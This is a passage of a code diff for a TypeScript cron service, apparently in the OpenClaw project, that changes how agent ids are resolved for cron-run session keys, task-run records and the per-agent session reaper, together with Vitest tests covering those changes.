"agent:retired:cron:old-job:run:expired", + }, + { sessionId: "retired-expired", updatedAt: now - 25 * 3_600_000 }, + ); + + const state = createCronServiceState({ + storePath: store.storePath, + cronEnabled: true, + log: noopLogger, + nowMs: () => now, + enqueueSystemEvent: vi.fn(), + requestHeartbeat: vi.fn(), + runIsolatedAgentJob: vi.fn(), + defaultAgentId: "ops", + resolveSessionStoreAgentIds: () => ["retired"], + sessionStorePath, + }); + + await withCronServiceStateForTest(state, async () => { + await onTimer(state); + + expect(listSessionEntries({ agentId: "retired", storePath: sessionStorePath })).toEqual([]); + }); + }); + it("prunes expired cron-run sessions while ignoring malformed legacy cron files", async () => { const store = await makeStorePath(); const now = Date.parse("2026-02-10T10:00:00.000Z"); @@ -149,13 +300,16 @@ describe("CronService - session reaper runs in finally block (#31946)", () => { enqueueSystemEvent: vi.fn(), requestHeartbeat: vi.fn(), runIsolatedAgentJob: vi.fn(), + defaultAgentId: "agent-default", sessionStorePath, }); await withCronServiceStateForTest(state, async () => { await expect(onTimer(state)).resolves.toBeUndefined(); - expect(listSessionEntries({ storePath: sessionStorePath })).toStrictEqual([]); + expect( + listSessionEntries({ agentId: "agent-default", storePath: sessionStorePath }), + ).toStrictEqual([]); expect(state.running).toBe(false); }); }); diff --git a/src/cron/service.test-harness.ts b/src/cron/service.test-harness.ts index b49ccd3cf3ab..935845e0ff74 100644 --- a/src/cron/service.test-harness.ts +++ b/src/cron/service.test-harness.ts @@ -274,6 +274,7 @@ export function createMockCronStateForJobs(params: { deps: { storePath: "/mock/path", cronEnabled: true, + defaultAgentId: "main", nowMs: () => nowMs, enqueueSystemEvent: () => {}, requestHeartbeat: () => {}, diff --git a/src/cron/service/ops.ts b/src/cron/service/ops.ts index 431914b7cf0e..99dc4b7476c0 100644 --- a/src/cron/service/ops.ts +++ b/src/cron/service/ops.ts @@ -11,7 +11,7 @@ import { import { enqueueCommandInLane, type CommandLaneTaskMarker } from "../../process/command-queue.js"; import { runWithGatewayIndependentRootWorkContinuation } from "../../process/gateway-work-admission.js"; import { CommandLane } from "../../process/lanes.js"; -import { DEFAULT_AGENT_ID } from "../../routing/session-key.js"; +import { parseAgentSessionKey } from "../../routing/session-key.js"; import { resolveOpenClawStateSqlitePath } from "../../state/openclaw-state-db.paths.js"; import { clearCronJobActive, @@ -561,14 +561,17 @@ function resolveJobLastRunStatus(job: CronJob): CronJobsLastRunStatusFilter { } function resolveEffectiveJobAgentId( - job: { agentId?: string | null }, + job: { agentId?: string | null; sessionKey?: string | null }, defaultAgentId: string | undefined, ) { - return ( + const agentId = normalizeOptionalAgentId(job.agentId) ?? - normalizeOptionalAgentId(defaultAgentId) ?? - DEFAULT_AGENT_ID - ); + normalizeOptionalAgentId(parseAgentSessionKey(job.sessionKey)?.agentId) ?? + normalizeOptionalAgentId(defaultAgentId); + if (!agentId) { + throw new Error("Cron job requires an agent id or prepared configured default."); + } + return agentId; } function resolveCurrentDefaultAgentId(state: CronServiceState): string | undefined { @@ -596,7 +599,7 @@ export async function listPage(state: CronServiceState, opts?: CronListPageOptio } if ( requestedAgentId && - resolveEffectiveJobAgentId(job, state.deps.defaultAgentId) !== requestedAgentId + resolveEffectiveJobAgentId(job, resolveCurrentDefaultAgentId(state)) !== requestedAgentId ) { return false; } diff --git a/src/cron/service/state.test.ts b/src/cron/service/state.test.ts index ff3ea69c6495..8f6d0ec18665 100644 --- a/src/cron/service/state.test.ts +++ b/src/cron/service/state.test.ts @@ -65,6 +65,7 @@ describe("cron service state seam coverage", () => { }); expect(state.deps.nowMs()).toBe(789_000); + expect(state.deps.defaultAgentId).toBe("main"); nowSpy.mockRestore(); }); diff --git a/src/cron/service/state.ts b/src/cron/service/state.ts index a613fb10ea14..055f5bbc212b 100644 --- a/src/cron/service/state.ts +++ b/src/cron/service/state.ts @@ -2,6 +2,7 @@ import type { CronConfig } from "../../config/types.cron.js"; import type { HeartbeatRunResult, HeartbeatWakeRequest } from "../../infra/heartbeat-wake.js"; import type { CommandLaneTaskMarker } from "../../process/command-queue.js"; +import { LEGACY_IMPLICIT_AGENT_ID } from "../../routing/session-key.js"; import type { DeliveryContext } from "../../utils/delivery-context.types.js"; import type { CronActiveJobMarker } from "../active-jobs.js"; import type { CronScheduledToolPolicy } from "../scheduled-tool-policy.js"; @@ -84,6 +85,8 @@ export type CronServiceDeps = { defaultAgentId?: string; /** Resolve the current default when runtime config can change after startup. */ resolveDefaultAgentId?: () => string; + /** Resolve configured or persisted owners whose session stores need periodic cleanup. */ + resolveSessionStoreAgentIds?: () => string[]; /** Revalidate agent ownership inside the cron mutation lock. */ isAgentAvailable?: (agentId: string) => boolean; /** Resolve session store path for a given agent id. */ @@ -276,8 +279,12 @@ export type CronServiceState = { /** Creates mutable cron service state with a concrete clock dependency. */ export function createCronServiceState(deps: CronServiceDeps): CronServiceState { + // The public CronService constructor shipped before roster-aware callers. + // Preserve its implicit owner unless a static or dynamic configured default exists. + const defaultAgentId = + deps.defaultAgentId ?? (deps.resolveDefaultAgentId ? undefined : LEGACY_IMPLICIT_AGENT_ID); return { - deps: { ...deps, nowMs: deps.nowMs ?? (() => Date.now()) }, + deps: { ...deps, defaultAgentId, nowMs: deps.nowMs ?? (() => Date.now()) }, store: null, durableNextRunAtMsByJobId: new Map(), timer: null, diff --git a/src/cron/service/task-runs.test.ts b/src/cron/service/task-runs.test.ts index af73a343d1e0..900e408676fd 100644 --- a/src/cron/service/task-runs.test.ts +++ b/src/cron/service/task-runs.test.ts @@ -15,8 +15,9 @@ import { cronStoreKey } from "../store/key.js"; import { readCronTaskRunHistoryPage } from "../task-run-history.js"; import type { CronJob } from "../types.js"; import { timeoutErrorMessage } from "./execution-errors.js"; -import { createCronServiceState } from "./state.js"; +import { createCronServiceState as createCronServiceStateBase } from "./state.js"; import { + resolveMainSessionCronRunSessionKey, tryCreateCronTaskRun, tryFindCronTaskRunIdForRecovery, tryFindFinalizedCronTaskRun, @@ -24,6 +25,12 @@ import { tryFinishCronTaskRunWithoutHistory, } from "./task-runs.js"; +function createCronServiceState( + params: Parameters[0], +): ReturnType { + return createCronServiceStateBase({ defaultAgentId: "main", ...params }); +} + afterEach(() => { vi.restoreAllMocks(); resetDetachedTaskLifecycleRuntimeForTests(); @@ -31,6 +38,170 @@ afterEach(() => { }); describe("cron task run terminal records", () => { + it("uses the prepared configured default for a main-session run", () => { + const job = { + id: "default-owner", + sessionTarget: "main", + } as CronJob; + + expect(resolveMainSessionCronRunSessionKey(job, 1_500, "ops")).toBe( + "agent:ops:cron:default-owner:run:1500", + ); + expect(() => resolveMainSessionCronRunSessionKey(job, 1_500, undefined)).toThrow( + "Cron job has no agent id and no configured default was provided.", + ); + }); + + it.each([undefined, " "])( + "uses a scoped session key without evaluating a missing configured default (agentId=%j)", + (agentId) => { + const job = { + id: "scoped-owner", + sessionTarget: "main", + sessionKey: "agent:ops:main", + agentId, + } as CronJob; + + expect(resolveMainSessionCronRunSessionKey(job, 1_500, undefined)).toBe( + "agent:ops:cron:scoped-owner:run:1500", + ); + }, + ); + + it("uses a scoped child owner when the job agent id is blank", async () => { + await withOpenClawTestState( + { layout: "state-only", prefix: "openclaw-cron-scoped-task-owner-" }, + async () => { + resetTaskRegistryForTests(); + const job = { + id: "scoped-task-owner", + name: "scoped task owner", + agentId: " ", + sessionKey: "agent:ops:main", + sessionTarget: "main", + wakeMode: "next-heartbeat", + payload: { kind: "systemEvent", text: "work" }, + schedule: { kind: "every", everyMs: 60_000 }, + state: {}, + createdAtMs: 100, + updatedAtMs: 100, + enabled: true, + } satisfies CronJob; + const state = createCronServiceState({ + storePath: "/tmp/jobs.json", + cronEnabled: true, + log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn() }, + enqueueSystemEvent: vi.fn(), + requestHeartbeat: vi.fn(), + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" as const })), + }); + + expect(tryCreateCronTaskRun({ state, job, startedAt: 1_500 })).toBeTruthy(); + + expect( + listTaskRegistryRecordsByRuntimeSourceIdFromSqlite({ + runtime: "cron", + sourceId: job.id, + }), + ).toEqual([ + expect.objectContaining({ + agentId: "ops", + childSessionKey: "agent:ops:cron:scoped-task-owner:run:1500", + }), + ]); + }, + ); + }); + + it("uses the scoped owner for a current-session task run", async () => { + await withOpenClawTestState( + { layout: "state-only", prefix: "openclaw-cron-current-task-owner-" }, + async () => { + resetTaskRegistryForTests(); + const job = { + id: "current-task-owner", + name: "current task owner", + agentId: " ", + sessionKey: "agent:ops:main", + sessionTarget: "current", + wakeMode: "next-heartbeat", + payload: { kind: "systemEvent", text: "work" }, + schedule: { kind: "every", everyMs: 60_000 }, + state: {}, + createdAtMs: 100, + updatedAtMs: 100, + enabled: true, + } satisfies CronJob; + const state = createCronServiceState({ + storePath: "/tmp/jobs.json", + cronEnabled: true, + log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn() }, + enqueueSystemEvent: vi.fn(), + requestHeartbeat: vi.fn(), + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" as const })), + }); + + expect(tryCreateCronTaskRun({ state, job, startedAt: 1_500 })).toBeTruthy(); + + expect( + listTaskRegistryRecordsByRuntimeSourceIdFromSqlite({ + runtime: "cron", + sourceId: job.id, + }), + ).toEqual([ + expect.objectContaining({ + agentId: "ops", + childSessionKey: "agent:ops:cron:current-task-owner", + }), + ]); + }, + ); + }); + + it("uses the scoped owner for an isolated task run", async () => { + await withOpenClawTestState( + { layout: "state-only", prefix: "openclaw-cron-isolated-scoped-owner-" }, + async () => { + resetTaskRegistryForTests(); + const job = { + id: "isolated-scoped-owner", + name: "isolated scoped owner", + agentId: " ", + sessionKey: "agent:ops:main", + sessionTarget: "isolated", + wakeMode: "next-heartbeat", + payload: { kind: "agentTurn", message: "work" }, + schedule: { kind: "every", everyMs: 60_000 }, + state: {}, + createdAtMs: 100, + updatedAtMs: 100, + enabled: true, + } satisfies CronJob; + const state = createCronServiceState({ + storePath: "/tmp/jobs.json", + cronEnabled: true, + log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn() }, + enqueueSystemEvent: vi.fn(), + requestHeartbeat: vi.fn(), + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" as const })), + }); + + expect(tryCreateCronTaskRun({ state, job, startedAt: 1_500 })).toBeTruthy(); + expect( + listTaskRegistryRecordsByRuntimeSourceIdFromSqlite({ + runtime: "cron", + sourceId: job.id, + }), + ).toEqual([ + expect.objectContaining({ + agentId: "ops", + childSessionKey: "agent:ops:main", + }), + ]); + }, + ); + }); + it("persists canonical history directly when a detached runtime is registered", async () => { await withOpenClawTestState( { layout: "state-only", prefix: "openclaw-cron-core-ledger-runtime-" }, diff --git a/src/cron/service/task-runs.ts b/src/cron/service/task-runs.ts index 79483db4d0f7..951c5340a896 100644 --- a/src/cron/service/task-runs.ts +++ b/src/cron/service/task-runs.ts @@ -2,10 +2,22 @@ import { randomUUID } from "node:crypto"; import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; import { - DEFAULT_AGENT_ID, normalizeAgentId, + parseAgentSessionKey, resolveAgentIdFromSessionKey, } from "../../routing/session-key.js"; +import { resolveCronJobEffectiveAgentId } from "../agent-id.js"; + +function requireCronAgentId(agentId: string | undefined): string { + if (!agentId?.trim()) { + throw new Error("Cron task run requires an agent id or prepared configured default."); + } + return normalizeAgentId(agentId); +} + +function resolveCurrentDefaultAgentId(state: CronServiceState): string | undefined { + return state.deps.resolveDefaultAgentId?.() ?? state.deps.defaultAgentId; +} import { createRunningTaskRun, finalizeTaskRunById, @@ -43,9 +55,12 @@ export function normalizeCronLaneSegment(value: string | undefined, fallback: st } /** Builds the main-session child key used to isolate one cron run's task transcript. */ -export function resolveMainSessionCronRunSessionKey(job: CronJob, startedAt: number): string { - const explicitAgentId = job.agentId?.trim(); - const agentId = normalizeAgentId(explicitAgentId || resolveAgentIdFromSessionKey(job.sessionKey)); +export function resolveMainSessionCronRunSessionKey( + job: CronJob, + startedAt: number, + configuredDefaultAgentId: string | undefined, +): string { + const agentId = resolveCronJobEffectiveAgentId(job, configuredDefaultAgentId); const jobSegment = normalizeCronLaneSegment(job.id, "job"); const runSegment = normalizeCronLaneSegment(String(Math.max(0, Math.floor(startedAt))), "run"); return `agent:${agentId}:cron:${jobSegment}:run:${runSegment}`; @@ -56,13 +71,21 @@ function resolveCronTaskChildSessionKey(params: { job: CronJob; startedAt: number; }): string | undefined { + const explicitAgentId = params.job.agentId?.trim() || undefined; if (params.job.sessionTarget === "main") { - return resolveMainSessionCronRunSessionKey(params.job, params.startedAt); + return resolveMainSessionCronRunSessionKey( + params.job, + params.startedAt, + resolveCurrentDefaultAgentId(params.state), + ); } if (params.job.sessionTarget === "current") { + const scopedAgentId = parseAgentSessionKey(params.job.sessionKey)?.agentId; return resolveCronAgentSessionKey({ sessionKey: `cron:${params.job.id}`, - agentId: params.job.agentId ?? params.state.deps.defaultAgentId ?? DEFAULT_AGENT_ID, + agentId: requireCronAgentId( + explicitAgentId ?? scopedAgentId ?? resolveCurrentDefaultAgentId(params.state), + ), }); } const explicitSessionKey = params.job.sessionKey?.trim(); @@ -76,7 +99,7 @@ function resolveCronTaskChildSessionKey(params: { } return resolveCronAgentSessionKey({ sessionKey: `cron:${params.job.id}`, - agentId: params.job.agentId ?? params.state.deps.defaultAgentId ?? DEFAULT_AGENT_ID, + agentId: resolveCronJobEffectiveAgentId(params.job, resolveCurrentDefaultAgentId(params.state)), }); } @@ -200,25 +223,34 @@ function tryCreateCronTaskRunRecord(params: { childSessionKey?: string; }): string | undefined { try { + const explicitJobAgentId = params.job?.agentId?.trim(); + const childSessionKey = + params.childSessionKey ?? + (params.job + ? resolveCronTaskChildSessionKey({ + state: params.state, + job: params.job, + startedAt: params.startedAt, + }) + : undefined); + const effectiveJobAgentId = params.job + ? resolveCronJobEffectiveAgentId(params.job, resolveCurrentDefaultAgentId(params.state)) + : undefined; const task = createRunningTaskRun({ runtime: "cron", sourceId: params.jobId, ownerKey: "", scopeKind: "system", - childSessionKey: - params.childSessionKey ?? - (params.job - ? resolveCronTaskChildSessionKey({ - state: params.state, - job: params.job, - startedAt: params.startedAt, - }) - : undefined), + childSessionKey, agentId: - params.job?.agentId ?? - resolveAgentIdFromSessionKey(params.childSessionKey) ?? - params.state.deps.defaultAgentId ?? - DEFAULT_AGENT_ID, + effectiveJobAgentId ?? + (explicitJobAgentId ? normalizeAgentId(explicitJobAgentId) : undefined) ?? + (childSessionKey + ? resolveAgentIdFromSessionKey( + childSessionKey, + resolveCurrentDefaultAgentId(params.state), + ) + : requireCronAgentId(resolveCurrentDefaultAgentId(params.state))), runId: params.runId, label: params.job?.name, task: params.job?.name || params.jobId, diff --git a/src/cron/service/timer-execution-timeout.ts b/src/cron/service/timer-execution-timeout.ts index 929f47006b93..c977c7e2704c 100644 --- a/src/cron/service/timer-execution-timeout.ts +++ b/src/cron/service/timer-execution-timeout.ts @@ -131,7 +131,11 @@ export function resolveMainSessionCronDeliveryContext( } const explicitAgentId = job.agentId?.trim(); const agentId = normalizeAgentId( - explicitAgentId || resolveAgentIdFromSessionKey(targetSessionKey), + explicitAgentId || + resolveAgentIdFromSessionKey( + targetSessionKey, + state.deps.resolveDefaultAgentId?.() ?? state.deps.defaultAgentId, + ), ); const storePath = state.deps.resolveSessionStorePath?.(agentId) ?? state.deps.sessionStorePath; if (!storePath) { diff --git a/src/cron/service/timer-execution.ts b/src/cron/service/timer-execution.ts index f153db845815..fe9f454b5f8b 100644 --- a/src/cron/service/timer-execution.ts +++ b/src/cron/service/timer-execution.ts @@ -239,7 +239,11 @@ async function executeMainSessionCronJob( } const cronStartedAt = typeof job.state.runningAtMs === "number" ? job.state.runningAtMs : state.deps.nowMs(); - const cronRunSessionKey = resolveMainSessionCronRunSessionKey(job, cronStartedAt); + const cronRunSessionKey = resolveMainSessionCronRunSessionKey( + job, + cronStartedAt, + state.deps.resolveDefaultAgentId?.() ?? state.deps.defaultAgentId, + ); const deliveryContext = resolveMainSessionCronDeliveryContext(state, job); // Main-session jobs enqueue text into a per-run child session so each cron // execution has its own transcript and task drill-down target. diff --git a/src/cron/service/timer-scheduler.ts b/src/cron/service/timer-scheduler.ts index 68d593a68b37..623375400659 100644 --- a/src/cron/service/timer-scheduler.ts +++ b/src/cron/service/timer-scheduler.ts @@ -4,7 +4,7 @@ import { beginGatewayRootWorkAdmissionWhenOpen, GatewayDrainingError, } from "../../process/gateway-work-admission.js"; -import { DEFAULT_AGENT_ID } from "../../routing/session-key.js"; +import { normalizeAgentId, resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; import { markCronJobActive } from "../active-jobs.js"; import { createCronRunDiagnosticsFromError } from "../run-diagnostics.js"; import { sweepCronRunSessions } from "../session-reaper.js"; @@ -180,6 +180,15 @@ async function onAdmittedTimer(state: CronServiceState) { armRunningRecheckTimer(state); return; } + const hasSessionReaperStore = Boolean( + state.deps.resolveSessionStorePath || state.deps.sessionStorePath, + ); + const sessionReaperDefaultAgentId = hasSessionReaperStore + ? (state.deps.resolveDefaultAgentId?.() ?? state.deps.defaultAgentId)?.trim() + : undefined; + if (hasSessionReaperStore && !sessionReaperDefaultAgentId) { + throw new Error("Cron session reaper requires the prepared configured default agent id."); + } state.running = true; // Keep a watchdog timer armed while a tick is executing. If execution hangs // (for example in a provider call), the scheduler still wakes to re-check. @@ -619,27 +628,44 @@ async function onAdmittedTimer(state: CronServiceState) { // Placed in `finally` so the reaper runs even when a long-running job keeps // `state.running` true across multiple timer ticks — the early return at the // top of onTimer would otherwise skip the reaper indefinitely. - const storePaths = new Set(); + const storeTargets = new Map(); + const addStoreTarget = (agentId: string, storePath: string) => { + storeTargets.set(`${agentId}\0${storePath}`, { agentId, storePath }); + }; + const resolveJobAgentId = (job: CronJob, defaultAgentId: string) => + typeof job.agentId === "string" && job.agentId.trim() + ? normalizeAgentId(job.agentId) + : resolveAgentIdFromSessionKey(job.sessionKey, defaultAgentId); + const configuredAgentIds = state.deps.resolveSessionStoreAgentIds?.() ?? []; if (state.deps.resolveSessionStorePath) { - const defaultAgentId = state.deps.defaultAgentId ?? DEFAULT_AGENT_ID; - if (state.store?.jobs?.length) { - for (const job of state.store.jobs) { - const agentId = - typeof job.agentId === "string" && job.agentId.trim() ? job.agentId : defaultAgentId; - storePaths.add(state.deps.resolveSessionStorePath(agentId)); - } - } else { - storePaths.add(state.deps.resolveSessionStorePath(defaultAgentId)); + const defaultAgentId = sessionReaperDefaultAgentId!; + for (const agentId of configuredAgentIds) { + const normalizedAgentId = normalizeAgentId(agentId); + addStoreTarget(normalizedAgentId, state.deps.resolveSessionStorePath(normalizedAgentId)); } + for (const job of state.store?.jobs ?? []) { + const agentId = resolveJobAgentId(job, defaultAgentId); + addStoreTarget(agentId, state.deps.resolveSessionStorePath(agentId)); + } + addStoreTarget(defaultAgentId, state.deps.resolveSessionStorePath(defaultAgentId)); } else if (state.deps.sessionStorePath) { - storePaths.add(state.deps.sessionStorePath); + const defaultAgentId = sessionReaperDefaultAgentId!; + for (const agentId of configuredAgentIds) { + addStoreTarget(normalizeAgentId(agentId), state.deps.sessionStorePath); + } + for (const job of state.store?.jobs ?? []) { + addStoreTarget(resolveJobAgentId(job, defaultAgentId), state.deps.sessionStorePath); + } + addStoreTarget(defaultAgentId, state.deps.sessionStorePath); } - if (storePaths.size > 0) { + if (storeTargets.size > 0) { const nowMs = state.deps.nowMs(); - for (const storePath of storePaths) { + for (const { agentId, storePath } of storeTargets.values()) { try { await sweepCronRunSessions({ + agentId, + defaultAgentId: sessionReaperDefaultAgentId!, cronConfig: state.deps.cronConfig, sessionStorePath: storePath, nowMs, diff --git a/src/cron/service/timer.test.ts b/src/cron/service/timer.test.ts index eeaad135ad57..5bf11d18a49d 100644 --- a/src/cron/service/timer.test.ts +++ b/src/cron/service/timer.test.ts @@ -3,7 +3,7 @@ import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; import { upsertSessionEntry } from "../../config/sessions/session-accessor.js"; import { setupCronServiceSuite, writeCronStoreSnapshot } from "../../cron/service.test-harness.js"; -import { createCronServiceState } from "../../cron/service/state.js"; +import { createCronServiceState as createCronServiceStateBase } from "../../cron/service/state.js"; import { executeJobCore, onTimer } from "../../cron/service/timer.test-support.js"; import * as cronStoreModule from "../../cron/store.js"; import { loadCronStore } from "../../cron/store.js"; @@ -19,6 +19,12 @@ const { logger, makeStorePath } = setupCronServiceSuite({ prefix: "cron-service-timer-seam", }); +function createCronServiceState( + params: Parameters[0], +): ReturnType { + return createCronServiceStateBase({ defaultAgentId: "main", ...params }); +} + function createDueMainJob(params: { now: number; wakeMode: CronJob["wakeMode"] }): CronJob { return { id: "main-heartbeat-job", @@ -134,6 +140,7 @@ describe("cron service timer seam coverage", () => { cronEnabled: true, log: logger, nowMs: () => now, + defaultAgentId: "main-pr-router", resolveSessionStorePath: () => sessionStorePath, enqueueSystemEvent, requestHeartbeat, @@ -168,16 +175,17 @@ describe("cron service timer seam coverage", () => { const requestHeartbeat = vi.fn(); const timeoutSpy = vi.spyOn(globalThis, "setTimeout"); - await writeCronStoreSnapshot({ - storePath, - jobs: [createDueMainJob({ now, wakeMode: "next-heartbeat" })], - }); + const jobWithoutExplicitOwner = createDueMainJob({ now, wakeMode: "next-heartbeat" }); + delete jobWithoutExplicitOwner.sessionKey; + await writeCronStoreSnapshot({ storePath, jobs: [jobWithoutExplicitOwner] }); const state = createCronServiceState({ storePath, cronEnabled: true, log: logger, nowMs: () => now, + defaultAgentId: "stale-default", + resolveDefaultAgentId: () => "ops", enqueueSystemEvent, requestHeartbeat, runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" as const })), @@ -185,7 +193,7 @@ describe("cron service timer seam coverage", () => { await onTimer(state); - const cronRunSessionKey = `agent:main:cron:main-heartbeat-job:run:${now}`; + const cronRunSessionKey = `agent:ops:cron:main-heartbeat-job:run:${now}`; expect(enqueueSystemEvent).toHaveBeenCalledWith("heartbeat seam tick", { agentId: undefined, sessionKey: cronRunSessionKey, @@ -214,6 +222,7 @@ describe("cron service timer seam coverage", () => { } expect(task.runtime).toBe("cron"); expect(task.sourceId).toBe("main-heartbeat-job"); + expect(task.agentId).toBe("ops"); expect(task.ownerKey).toBe(""); expect(task.scopeKind).toBe("system"); expect(task.childSessionKey).toBe(cronRunSessionKey); diff --git a/src/cron/session-reaper.test.ts b/src/cron/session-reaper.test.ts index e502ad2a0052..83a311fa6f0c 100644 --- a/src/cron/session-reaper.test.ts +++ b/src/cron/session-reaper.test.ts @@ -2,15 +2,26 @@ import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { cleanupTempDirs, makeTempDir } from "../../test/helpers/temp-dir.js"; +import { loadCombinedSessionStoreForGateway } from "../config/sessions/combined-store-gateway.js"; import * as sessionAccessor from "../config/sessions/session-accessor.js"; +import { + listKnownSessionStoreAgentIds, + resolveExistingAgentSessionStoreTargetsSync, +} from "../config/sessions/targets.js"; import type { SessionEntry } from "../config/sessions/types.js"; +import type { OpenClawConfig } from "../config/types.js"; import { isCronRunSessionKey } from "../sessions/session-key-utils.js"; import { beginSessionWorkAdmission } from "../sessions/session-lifecycle-admission.js"; +import { + isSameOpenClawAgentDatabasePath, + listOpenClawRegisteredAgentDatabases, + unregisterOpenClawAgentDatabase, +} from "../state/openclaw-agent-db-registry.js"; import { closeOpenClawAgentDatabasesForTest } from "../state/openclaw-agent-db.js"; import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; import { createDeferred } from "../test-utils/deferred.js"; import type { Logger } from "./service/state.js"; -import { sweepCronRunSessions } from "./session-reaper.js"; +import { sweepCronRunSessions as sweepCronRunSessionsImpl } from "./session-reaper.js"; import { resetReaperThrottle } from "./session-reaper.test-support.js"; const { listSessionEntries, patchSessionEntry, replaceSessionEntry } = sessionAccessor; @@ -19,6 +30,12 @@ const taskStatusMocks = vi.hoisted(() => ({ buildPendingSet: vi.fn<() => Set>(() => new Set()), })); +function sweepCronRunSessions( + params: Omit[0], "agentId" | "defaultAgentId">, +) { + return sweepCronRunSessionsImpl({ ...params, agentId: "main", defaultAgentId: "main" }); +} + vi.mock("../tasks/task-status-access.js", () => ({ buildPendingGeneratedMediaSessionKeySet: taskStatusMocks.buildPendingSet, })); @@ -37,13 +54,16 @@ async function seedSessionEntries( entries: Record, ): Promise { for (const [sessionKey, entry] of Object.entries(entries)) { - await replaceSessionEntry({ storePath, sessionKey }, entry); + await replaceSessionEntry({ agentId: "main", storePath, sessionKey }, entry); } } function readSessionEntries(storePath: string): Record { return Object.fromEntries( - listSessionEntries({ storePath }).map(({ sessionKey, entry }) => [sessionKey, entry]), + listSessionEntries({ agentId: "main", storePath }).map(({ sessionKey, entry }) => [ + sessionKey, + entry, + ]), ); } @@ -156,6 +176,94 @@ describe("sweepCronRunSessions", () => { }); }); + it("discovers, accesses, and reaps a logical owner in one shared exact store", async () => { + const now = Date.now(); + const exactStorePath = path.join(tmpDir, "shared.sqlite"); + const cfg: OpenClawConfig = { + session: { store: exactStorePath }, + agents: { entries: { main: { default: true } } }, + }; + const mainKey = "agent:main:cron:main-job:run:keep"; + const opsKey = "agent:ops:cron:ops-job:run:expired"; + await replaceSessionEntry( + { + agentId: "main", + defaultAgentId: "main", + storePath: exactStorePath, + sessionKey: mainKey, + }, + { sessionId: "main-run", updatedAt: now - 1 * 3_600_000 }, + ); + await replaceSessionEntry( + { + agentId: "ops", + defaultAgentId: "main", + storePath: exactStorePath, + sessionKey: opsKey, + }, + { sessionId: "ops-run", updatedAt: now - 25 * 3_600_000 }, + ); + closeOpenClawAgentDatabasesForTest(); + unregisterOpenClawAgentDatabase({ agentId: "main", path: exactStorePath }); + expect( + listOpenClawRegisteredAgentDatabases().filter((entry) => + isSameOpenClawAgentDatabasePath(entry.path, exactStorePath), + ), + ).toEqual([]); + + expect(listKnownSessionStoreAgentIds(cfg).toSorted()).toEqual(["main", "ops"]); + expect(resolveExistingAgentSessionStoreTargetsSync(cfg, "ops")).toEqual([ + { agentId: "ops", storePath: exactStorePath }, + ]); + expect(Object.keys(loadCombinedSessionStoreForGateway(cfg).store).toSorted()).toEqual([ + mainKey, + opsKey, + ]); + expect( + sessionAccessor.loadSessionEntry({ + agentId: "ops", + defaultAgentId: "main", + storePath: exactStorePath, + sessionKey: opsKey, + }), + ).toMatchObject({ sessionId: "ops-run" }); + + expect( + await sweepCronRunSessionsImpl({ + agentId: "main", + defaultAgentId: "main", + sessionStorePath: exactStorePath, + nowMs: now, + log, + }), + ).toEqual({ swept: true, pruned: 0 }); + const result = await sweepCronRunSessionsImpl({ + agentId: "ops", + defaultAgentId: "main", + sessionStorePath: exactStorePath, + nowMs: now, + log, + }); + + expect(result).toEqual({ swept: true, pruned: 1 }); + expect( + sessionAccessor.loadSessionEntry({ + agentId: "main", + defaultAgentId: "main", + storePath: exactStorePath, + sessionKey: mainKey, + }), + ).toMatchObject({ sessionId: "main-run" }); + expect( + sessionAccessor.loadSessionEntry({ + agentId: "ops", + defaultAgentId: "main", + storePath: exactStorePath, + sessionKey: opsKey, + }), + ).toBeUndefined(); + }); + it("falls back to the default retention when the configured duration is invalid", async () => { const now = Date.now(); await seedSessionEntries(storePath, { diff --git a/src/cron/session-reaper.ts b/src/cron/session-reaper.ts index 7e852adb7a5e..1f38ddaecbff 100644 --- a/src/cron/session-reaper.ts +++ b/src/cron/session-reaper.ts @@ -5,9 +5,11 @@ import { listSessionEntries, type SessionEntryLifecycleRemoval, } from "../config/sessions/session-accessor.js"; +import { resolveSqliteTargetFromSessionStorePath } from "../config/sessions/session-sqlite-target.js"; import { resolveMaintenanceConfig } from "../config/sessions/store-maintenance-runtime.js"; import type { CronConfig } from "../config/types.cron.js"; import { formatErrorMessage } from "../infra/errors.js"; +import { normalizeAgentId, parseAgentSessionKey } from "../routing/session-key.js"; import { isCronRunSessionKey } from "../sessions/session-key-utils.js"; import { buildPendingGeneratedMediaSessionKeySet } from "../tasks/task-status-access.js"; import type { Logger } from "./service/state.js"; @@ -17,7 +19,11 @@ const DEFAULT_RETENTION_MS = 24 * 3_600_000; // 24 hours /** Minimum interval between reaper sweeps (avoid running every timer tick). */ const MIN_SWEEP_INTERVAL_MS = 5 * 60_000; // 5 minutes -const lastSweepAtMsByStore = new Map(); +const lastSweepAtMsByTarget = new Map(); + +function reaperTargetKey(agentId: string, storePath: string): string { + return `${agentId}\0${storePath}`; +} /** Resolves cron run-session retention; `false` disables pruning, bad strings fall back safely. */ function resolveRetentionMs(cronConfig?: CronConfig): number | null { @@ -48,6 +54,8 @@ type ReaperResult = { */ export async function sweepCronRunSessions(params: { cronConfig?: CronConfig; + agentId: string; + defaultAgentId: string; /** Resolved path to sessions.json — required. */ sessionStorePath: string; nowMs?: number; @@ -57,17 +65,20 @@ export async function sweepCronRunSessions(params: { }): Promise { const now = params.nowMs ?? Date.now(); const storePath = params.sessionStorePath; - const lastSweepAtMs = lastSweepAtMsByStore.get(storePath) ?? 0; + // Shared physical stores still hold agent-scoped rows. The throttle also + // suppresses in-flight attempts, so its identity must retain both scopes. + const targetKey = reaperTargetKey(params.agentId, storePath); + const lastSweepAtMs = lastSweepAtMsByTarget.get(targetKey) ?? 0; - // Timer ticks can be frequent; throttle per store path to avoid repeated - // session-store I/O while preserving a force path for deterministic tests. + // Timer ticks can be frequent; throttle per agent/store target to avoid + // repeated session-store I/O while preserving a force path for tests. if (!params.force && now - lastSweepAtMs < MIN_SWEEP_INTERVAL_MS) { return { swept: false, pruned: 0 }; } // Throttle attempts, not only successful sweeps. A broken session store must // not turn frequent timer ticks into an unbounded persistence-error loop. - 